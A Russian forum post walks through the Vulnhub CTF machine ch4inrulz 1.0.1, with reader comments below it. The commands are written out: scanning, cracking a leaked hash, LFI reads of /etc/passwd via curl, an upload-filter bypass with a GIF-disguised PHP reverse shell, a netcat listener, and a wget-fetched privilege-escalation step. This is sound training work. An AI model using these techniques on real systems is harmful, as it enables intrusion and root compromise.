• Курсы Академии Кодебай, стартующие в мае - июне, от команды The Codeby

    1. Цифровая криминалистика и реагирование на инциденты
    2. ОС Linux (DFIR) Старт: 16 мая
    3. Анализ фишинговых атак Старт: 16 мая Устройства для тестирования на проникновение Старт: 16 мая

    Скидки до 10%

    Полный список ближайших курсов ...

CTF ch4inrulz: 1.0.1:CTF Прохождение

Debug

Red Team
07.07.2017
217
445
BIT
5
Привет Codeby, сегодня мы пройдем еще одно задачу CTF под названием ch4inrulz: 1.0.1 которую мы можем загрузить с Vulnhub.com и установить ( ).
В описание сказано, что данная уязвимая машина была специально разработана для Top Jackan 2018 CTF. Ключевая особенность заключается в том, что данная машина была предназначена для имитации реальных атак.

Уровень средний.

Определение IP

Первая наша задача это узнать IP адрес машины. Сделать это можно хоть с помощью arp-scan хоть с netdiscover. Я загляну на аренду DHCP адресов в настройках своего роутера.

pasted image 0 (1).png


По старинке, как всегда, мы начинаем наш анализ со сканирования портов. Для этой цели используем nmap. Команда: nmap -sV -p- 192.168.1.248. Результат сканирования:

pasted image 0 (2).png


Также для анализа я использую программу Acunetix web vulnerability scanner.
Это программа отлично подходит для наших целей - обнаружение уязвимых мест в машине. Она также умеет брутить директории. Обычно для этого используют утилиту dirsearch.

Поиск интересных каталогов

Воспользуемся dirsearch чтобы найти что-то интересное. Команда будет выглядеть: python3 dirsearch.py -u http://192.168.1.248 -e php,html,png,bak -x 403
Где -u IP адрес(мы помним что у нас открыт 80 порт)
-e расширения файлов для поиска
-x команда для игнорирования ответа с сервера с номером 403

Результат поиска:

pasted image 0.png


Лично меня поиск не удовлетворил, интересным оказался только каталог development. Но сначала перейдем по адресу http://192.168.1.248 и взглянем с чем имеем дело.

pasted image 0 (3).png


Полазив по сайту(в исходном коде) ничего интересного не находя переходим в каталог development

pasted image 0 (4).png


Ага, вход на сайт запрещен. Стандартные переменные(admin,1234,password and etc.) не подходят, значит нам придется брутить. Но пока можем посмотреть что нашел Acunetix

pasted image 0 (5).png

pasted image 0 (6).png


Здесь интересным для оказался файл index.html.bak. Скачав и открыв его(я сначала переименуем его в index.html). Открываем и видим:

pasted image 0 (7).png


Здесь стоит заглянуть и посмотреть исходный код страницы. Открываем:

pasted image 0 (8).png


Интересным оказалась строка:

<!-- I will use frank:$apr1$1oIGDEDK$/aVFPluYt56UvslZMBDoC0 as the .htpasswd file to protect the development path →

Теперь нам нужно расшифровать это хеш. Я использую JOHN. Через некоторое время мы получим результат - frank:frank!!!.
Теперь стоит заметить, что в строке фигурирует .htpasswd. Посмотрим что это. Просто так нам не посмотреть(сервер возвращает код 403, у нас нет доступа.) Значит мы попробуем залогиниться с данными которые мы раньше нашли. Данные подошли и результат:

pasted image 0 (9).png


После получение этого файла и внимательного анализа можно догадаться, что нам нужен инструмент для загрузки файлов. P.S. uploader. Теперь наша строка выглядит:
http://192.168.1.248/development/uploader/ и видим:

pasted image 0 (10).png


Также замечаем, что защита скрипта составляет 50%. Значит имеем дело с какой-то популярной уязвимостью. Также стоит заметить, что сервер принимает только image файлы(фильтрация). Скорее всего мы сможем обойти и запустить нашу полезную нагрузку.

Сканирование порта 8011

Переходим по адресу http://192.168.1.248. Результат:

pasted image 0 (11).png


Недолго думая сразу брутим каталоги + можно запустить Acunetix web vulnerability scanner.
Команда: python3 dirsearch.py -u http://192.168.1.248:8011 -e php,html,bak,png,txt -x 403
Acunetix ничего не нашел. А вот dirsearch:

pasted image 0 (12).png


Идем сразу по адресу и смотрим: http://192.168.1.248:8011/api

pasted image 0 (13).png


Сразу пытаемся вставлять эти файлы(P.S файл files_api.php). Наш пазл отлично собирается(А почему?) Да потому что в здесь имеется уязвимость LFI(Local File Inclusion). Может нам стоит посмотреть файл /etc/passwd?

pasted image 0 (14).png


Адрес выглядит следующим образом - http://192.168.1.248:8011/api/files_api.php?file=/etc/passwd.
Исследуем дальше… Воспользуемся утилитой curl.

Команда: curl -X POST -d "file=/etc/passwd" [URL]http://192.168.1.248:8011/api/files_api.php[/URL]
Здесь все должно быть понятным, а результат меня обрадовал:

pasted image 0 (15).png


Загружаем shell

И так мы имеем LFI + file upload = shell. Но нам нужно еще обойти функцию фильтрации загружаемых файлов. Также нам стоит узнать куда именно загружаются изображения. Здесь было очень и очень много попыток найти директорию куда все-таки могли загружаться изображения. Каталог FRANKuploads конечно был найден, но это было очень не просто.

Подготовка полезной нагрузки

Я попытался создать полезную нагрузку через meterpreter, но с получением сессии возникли проблемы. Поэтому поступим следующим образом. В Kali Linux возьмем файл /usr/share/webshells/php/php-reverse-shell.php. Теперь откроем его и добавим в самый верх строку GIF98(Надеюсь понятно зачем) Теперь нам также нужно заняться настройкой, найдем в файле следующий блок:

pasted image 0 (16).png


Теперь переименуем файл в shell.gif и загрузим на сервер. Перейдя по адресу http://192.168.1.248/development/uploader/FRANKuploads/ увидим, что файл загружен.

pasted image 0 (17).png


Теперь используя уязвимость LFI получим наконец-то доступ к машине. Воспользуемся curl. Команда:
curl -X POST -d "file=/var/www/development/uploader/FRANKuploads/shell.gif" [URL]http://192.168.1.248:8011/api/files_api.php[/URL]
И также предварительно настроив netcat(nc -lvp 8888) запустим и увидим результат.

pasted image 0 (18).png


Теперь мы хотим получить интерактивную оболочку Python

pasted image 0 (19).png


Получение Root прав

Теперь наша задача найти уязвимость и получить root права. Для этого будем использовать linux-exploit-suggester. Это отличная утилита которая найдет уязвимые места в системе.

Команда для скачивания: wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh -O les.sh
Теперь запустим ..les.sh

pasted image 0 (20).png


Мы найдем много чего интересного. Уязвимость которая нам подходит (RDS privilege escalation exploit).

Скачав его и запустив Python SimpleHTTPServer мы сможем загрузить эксплоит на нашу машину. И так команда для запуска сервера: python -m SimpleHTTPServer 80

pasted image 0 (22).png


Теперь скачаем и запустим наш эксплоит:

pasted image 0 (21).png


Отлично root права получены. Осталось только прочитать root.txt

pasted image 0 (23).png


На этом прохождение CTF машины окончено).
 

Вложения

  • pasted image 0.png
    pasted image 0.png
    97,8 КБ · Просмотры: 780
Последнее редактирование:

Debug

Red Team
07.07.2017
217
445
BIT
5
На какой источник? Проходил я сам! Многое реализовано чего нет даже в других статьях, а если есть что-то похожее, так это возможно инструменты? Какой смысл тупо копипастить, я в свободное время прохожу для себя в первую очередь !
 
Последнее редактирование:
  • Нравится
Реакции: Сергей Попов

z0day

Green Team
06.07.2018
134
33
BIT
0
глупый вопрос но какой логин и пароль или это и предстоит выяснить в статью не заглядывала что бы не спойлирить
 

Debug

Red Team
07.07.2017
217
445
BIT
5
глупый вопрос но какой логин и пароль или это и предстоит выяснить в статью не заглядывала что бы не спойлирить
Ваша задача не получить логин и пароль а получить флаг(flag.txt) в директории /root. Когда вы запустите саму машину и увидеть строку для ввода имени пользователя и пароля, то взаимодействовать с ней надо не через virtual box или wmare. Если не понятно напишите мне я помогу все настроить. Также могу снять видео и по настройке и по прохождению.
 
  • Нравится
Реакции: Сергей Попов

z0day

Green Team
06.07.2018
134
33
BIT
0
cпасиб но уже разобралась просто не думала что сервер запуститься без входа
 
  • Нравится
Реакции: Debug
S

System32

Благодарю вас. И благ вам во всем.
За полезную инфу. Для новичков самый раз.
Таких как Я ))))
 
  • Нравится
Реакции: Debug
13.04.2021
1
0
BIT
0
Ваша задача не получить логин и пароль а получить флаг(flag.txt) в директории /root. Когда вы запустите саму машину и увидеть строку для ввода имени пользователя и пароля, то взаимодействовать с ней надо не через virtual box или wmare. Если не понятно напишите мне я помогу все настроить. Также могу снять видео и по настройке и по прохождению.
У меня проблема на этапе использования LFI уязвимости.
изображение_2021-04-13_184729.png

В итоге не получается подключиться с помощью netcat, и продвинуться дальше . Может что-то подскажете ?
 
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!